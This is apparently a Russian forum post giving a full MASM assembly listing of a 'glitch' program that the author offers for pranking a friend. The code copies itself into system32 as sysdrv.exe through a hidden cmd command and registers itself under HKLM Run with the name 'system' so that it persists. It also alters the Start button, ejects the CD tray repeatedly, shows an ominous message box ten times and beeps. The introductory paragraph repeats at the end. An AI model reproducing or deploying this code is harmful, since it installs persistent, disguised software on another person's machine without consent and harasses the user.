Я не знаю как оформить это все в статью.
Так что просто приведу листинг программы с подробными комментариями. В
кратце, программа вызывает всякие глюки на компе. Подойдет тем кто
хочет насолить знакомому. Кол-во глюков вы можете дополнить, так же
можете написать конфигуратор, чтобы каждый раз не компилировать заново.
Программа написанна на масме.
;comilling
;ml /c /coff gluk.asm ; тут как копилировать.
;link /subsystem:windows gluk.obj
.386
.model flat,stdcall
option casemap:none
include D:\staff\masm32\include\windows.inc
include D:\staff\masm32\include\winmm.inc
include D:\staff\masm32\include\advapi32.inc
include D:\staff\masm32\include\shell32.inc
include D:\staff\masm32\include\kernel32.inc
include D:\staff\masm32\include\user32.inc
includelib D:\staff\masm32\lib\user32.lib
includelib D:\staff\masm32\lib\kernel32.lib
includelib D:\staff\masm32\lib\shell32.lib
includelib D:\staff\masm32\lib\Advapi32.lib
includelib D:\staff\masm32\lib\winmm.lib
.data
;==========Settings============
;=========Действия=======
pusk db 'p',0 ;прячем кнопку пуск
reg db 'r',0 ;прописыватся в реестр
cd_rom db 'c',0 ;играть с сд-ромом
messg db 'm',0 ;выдавать сообщение
bep db 'b',0 ;издавать противный звук встроенным динамиком.
;====================== ;если не хотите чтобы какое нибудь действие выполнялось.
Просто вместо буквы в скобках поставьте 0
;========MessageBox======
mess db 'я знаю что ты сделал прошлым летом',0 ;само сообщение
cap db 'зоркий глаз следит за тобой',0 ;заголовок
;========================
;========Registry=============
hkey dd HKEY_LOCAL_MACHINE
subkey db 'Software\Microsoft\windows\CurrentVersion\Run',0 ;в какую ветку
;реестра прописыватся
key_mod dd KEY_WRITE
reg_name db 'system',0
reg_type dd REG_SZ
path db ' C:\WINDOWS\system32\sysdrv.exe',0
path_reg db 'C:\WINDOWS\system32\sysdrv.exe',0
strng db 'cmd.exe /c copy ',0
;=============================
;========Пуск=============
Class db 'Shell_TrayWnd',0
clButton db 'Button',0
send_message dd WM_SETTEXT
push_text db 'Fuck',0
;==========================
;==========CDROM===========
col db 5 ;сколько раз выдвигать\задвигать сидиром
cdopen db 'open cdaudio',0
door_open db 'set cdaudio door open',0
door_close db 'set cdaudio door closed',0
cdclose db 'close cdaudio',0
;==========================
;========Settings END============
.data?
path2 dd ?
hKey dd ?
hFileName dd ?
.code
;=======Registry========
register proc
invoke RegOpenKeyEx, hkey, addr subkey, NULL, key_mod, addr hKey
invoke GetModuleHandle,0
invoke GetModuleFileName, eax, addr hFileName, MAX_PATH
invoke lstrcat, addr strng, addr hFileName
invoke lstrcat, addr strng, addr path
invoke WinExec, offset strng, SW_HIDE
invoke RegSetValueEx, hKey, addr reg_name, NULL,reg_type, addr path_reg,MAX_PATH
ret
register endp
;=======Пуск========
pusk_name proc
invoke FindWindow, addr Class, NULL
invoke FindWindowEx, eax, NULL, addr clButton, NULL
cmp eax,0
je _cdrom
invoke ShowWindow, eax, SW_SHOW
;invoke SendMessage, eax, send_message, NULL, addr push_text
ret
pusk_name endp
;============CDROM=========
cdromp proc
push ecx
mov al, byte ptr ds:col
mov ecx, eax
_Loop:
push ecx
invoke mciSendString, addr cdopen, NULL, NULL, NULL
invoke mciSendString, addr door_open, NULL, NULL, NULL
invoke mciSendString, addr door_close, NULL, NULL, NULL
pop ecx
loop _Loop
pop ecx
invoke mciSendString, addr cdclose, NULL, NULL, NULL
ret
cdromp endp
;=========================
;========Beep=======
beep proc
invoke Beep, 0fffh, 10000 ;частота звучания. Поиграйтесь со значением
invoke MessageBeep, MB_ICONASTERISK
ret
beep endp
;===================
;=======Main=============
start:
cmp reg,'r'
jne _pusk
;invoke Sleep, 60000d ;если хотите чтобы глюки шли не подряд, а
;с задержкой, то раскоментируйте эту строку
call register
_pusk:
cmp pusk, 'p'
jne _cdrom
;invoke Sleep, 60000d
call pusk_name
_cdrom:
cmp cd_rom, 'c'
jne _mess
;invoke Sleep, 60000d
call cdromp
_mess:
cmp messg, 'm'
jne _beep
;invoke Sleep, 60000d
push ecx
mov ecx,10d ;тут кол-во сообщение которое будет выведенно
_Loop:
push ecx
invoke MessageBox, NULL, addr mess, addr cap, MB_OK or MB_ICONSTOP
pop ecx
loop _Loop
_beep:
cmp bep, 'b'
jne _end
;invoke Sleep, 60000d
call beep
_end:
invoke ExitProcess,0
end start
;=====================
ну вот и все. Как компилить есть в начале листинга. Приятных заподлостроений.Я не знаю как оформить это все в статью. Так что просто приведу листинг
программы с подробными комментариями. В кратце, программа вызывает
всякие глюки на компе. Подойдет тем кто хочет насолить знакомому.
Кол-во глюков вы можете дополнить, так же можете написать конфигуратор,
чтобы каждый раз не компилировать заново.
Программа написанна на масме.